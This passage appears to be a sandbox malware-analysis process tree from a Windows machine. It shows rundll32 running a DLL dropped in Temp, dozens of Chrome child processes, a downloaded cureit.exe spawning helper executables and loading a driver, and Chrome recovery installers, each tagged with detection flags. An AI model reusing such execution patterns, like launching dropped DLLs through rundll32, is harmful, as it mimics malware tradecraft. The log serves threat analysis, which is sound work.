C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:4384
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:4916 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff8a3a64f50,0x7ff8a3a64f60,0x7ff8a3a64f702⤵PID:5504
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1540 /prefetch:22⤵PID:4964
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1780 /prefetch:82⤵PID:4732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2644 /prefetch:12⤵PID:5396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2624 /prefetch:12⤵PID:4976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2276 /prefetch:82⤵PID:5732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:12⤵PID:6036
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3720 /prefetch:12⤵PID:6088
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3956 /prefetch:12⤵PID:4512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4260 /prefetch:82⤵PID:3720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4912 /prefetch:82⤵PID:4568
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4936 /prefetch:12⤵PID:5980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5020 /prefetch:82⤵PID:4380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2924 /prefetch:82⤵PID:3544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1928 /prefetch:82⤵PID:5380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2420 /prefetch:12⤵PID:3036
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=164 /prefetch:12⤵PID:4240
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4100 /prefetch:82⤵PID:5208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3692 /prefetch:82⤵PID:5132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5164 /prefetch:82⤵PID:5444
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5432 /prefetch:82⤵PID:304
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5308 /prefetch:82⤵PID:2680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3968 /prefetch:82⤵PID:5096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4000 /prefetch:12⤵PID:3776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4968 /prefetch:82⤵PID:5996
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2648 /prefetch:12⤵PID:1592
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:12⤵PID:4332
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4952 /prefetch:12⤵PID:1084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5024 /prefetch:12⤵PID:1012
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5988 /prefetch:82⤵PID:4840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6136 /prefetch:82⤵PID:4076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4744 /prefetch:12⤵PID:4192
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3808 /prefetch:12⤵PID:5864
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1972 /prefetch:12⤵PID:4516
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6032 /prefetch:12⤵PID:4920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6560 /prefetch:12⤵PID:2436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6516 /prefetch:12⤵PID:764
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6836 /prefetch:12⤵PID:32
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6980 /prefetch:12⤵PID:408
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7112 /prefetch:12⤵PID:612
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7176 /prefetch:12⤵PID:4232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7272 /prefetch:12⤵PID:6128
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6964 /prefetch:12⤵PID:692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6864 /prefetch:12⤵PID:1372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5916 /prefetch:12⤵PID:5976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7376 /prefetch:12⤵PID:4364
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7332 /prefetch:12⤵PID:1048
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7660 /prefetch:12⤵PID:4492
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7632 /prefetch:12⤵PID:3120
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5600 /prefetch:12⤵PID:4764
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3716 /prefetch:82⤵PID:5828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5128 /prefetch:82⤵PID:2288
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7880 /prefetch:82⤵PID:368
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=6812 /prefetch:22⤵PID:5720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6936 /prefetch:82⤵PID:4072
-
-
C:\Users\Admin\Downloads\cureit.exe"C:\Users\Admin\Downloads\cureit.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
PID:4552 -
C:\Users\Admin\AppData\Local\Temp\2D576381-81E58B72-9EC0DEB0-4CD42C15\JmkGM8HAgGqRMzf.exe"C:\Users\Admin\AppData\Local\Temp\2D576381-81E58B72-9EC0DEB0-4CD42C15\JmkGM8HAgGqRMzf.exe" -cmode:2D0069006E00740020002D00730069006C0065006E00740020002D006300750072006500690074002D007100720020002D00720070006300700072003A006E00700020002D00720070006300650070003A005C0070006900700065005C003800440039003300350044003300310020002D0064006C006C002D0070006100740068003D00220043003A005C00550073006500720073005C00410064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00320044003500370036003300380031002D00380031004500350038004200370032002D00390045004300300044004500420030002D00340043004400340032004300310035005C0054004C005700410056006A006E005A00450043004C00550067006C002E0064006C006C00220020002D00610072006B006400610065006D006F006E002D006E0061006D0065003A006C0047006600350055004E004F00640066002E0065007800650020002D00610072006B0064006C006C002D006E0061006D0065003A007A0067004B007800570052004F0042002E0064006C006C0020002D00610072006B006400610065006D006F006E002D00650070003A005C0070006900700065005C00380045003700420041003800310034003⤵
- Executes dropped EXE
PID:5272 -
C:\Users\Admin\AppData\Local\Temp\2D576381-81E58B72-9EC0DEB0-4CD42C15\lGf5UNOdf.exe"C:\Users\Admin\AppData\Local\Temp\2D576381-81E58B72-9EC0DEB0-4CD42C15\lGf5UNOdf.exe" -arkdll:zgKxWROB.dll -arkpipe:\pipe\8E7BA8141639193830 -mode:14⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Suspicious behavior: LoadsDriver
PID:4584
-
-
-
C:\Users\Admin\AppData\Local\Temp\2D576381-81E58B72-9EC0DEB0-4CD42C15\8DLuDNDOJ.exe"C:\Users\Admin\AppData\Local\Temp\2D576381-81E58B72-9EC0DEB0-4CD42C15\8DLuDNDOJ.exe" /rpcep:\pipe\8D935D31 /rpcpr:np /sst /scn /ok /spn3⤵
- Executes dropped EXE
- Checks computer location settings
PID:6092
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5388 /prefetch:82⤵PID:2784
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6856 /prefetch:82⤵PID:4180
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,11436557144241938280,9254035246052308050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5724 /prefetch:82⤵PID:324
-
-
C:\Windows\system32\mstsc.exe"C:\Windows\system32\mstsc.exe"1⤵
- Enumerates connected drives
- Checks SCSI registry key(s)
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2316
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
PID:4276
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"1⤵
- Drops file in Program Files directory
PID:2684 -
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2684_58358024\ChromeRecovery.exe"C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2684_58358024\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={0f4f3250-b5ad-4e75-8f6b-1887dc31907d} --system2⤵
- Executes dropped EXE
PID:1452 -
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2684_58358024\GoogleUpdateSetup.exe"C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2684_58358024\GoogleUpdateSetup.exe" /install "runtime=true&needsadmin=true" /installsource chromerecovery /silent3⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5028 -
C:\Program Files (x86)\Google\Temp\GUM22E.tmp\GoogleUpdate.exe"C:\Program Files (x86)\Google\Temp\GUM22E.tmp\GoogleUpdate.exe" /install "runtime=true&needsadmin=true" /installsource chromerecovery /silent4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:3832 -
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
PID:988
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
PID:3268 -
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
PID:6004
-
-
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
PID:6080
-
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4xMTEiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4xMTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NDEyOTYzMEEtNDhFMi00M0U0LThCNjYtNEJDOUEwNEFFNkM5fSIgdXNlcmlkPSJ7QjU0MTE1NUItQjg2OS00REFBLUIxRkItM0Y1RjFEOTY1NTBEfSIgaW5zdGFsbHNvdXJjZT0iY2hyb21lcmVjb3ZlcnkiIHJlcXVlc3RpZD0iezBFRUY1OTJCLTA2QzAtNEE3Ny04MUJELTgwNzhFRDAxQTU4RX0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iNCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xNTA2My4wIiBzcD0iIiBhcmNoPSJ4NjQiLz48YXBwIGFwcGlkPSJ7NDMwRkQ0RDAtQjcyOS00RjYxLUFBMzQtOTE1MjY0ODE3OTlEfSIgdmVyc2lvbj0iIiBuZXh0dmVyc2lvbj0iMS4zLjM2LjExMSIgbGFuZz0iIiBicmFuZD0iIiBjbGllbnQ9IiI-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgaW5zdGFsbF90aW1lX21zPSIxNzQ4Ii8-PC9hcHA-PC9yZXF1ZXN0Pg5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
PID:3828
-
-
-
-
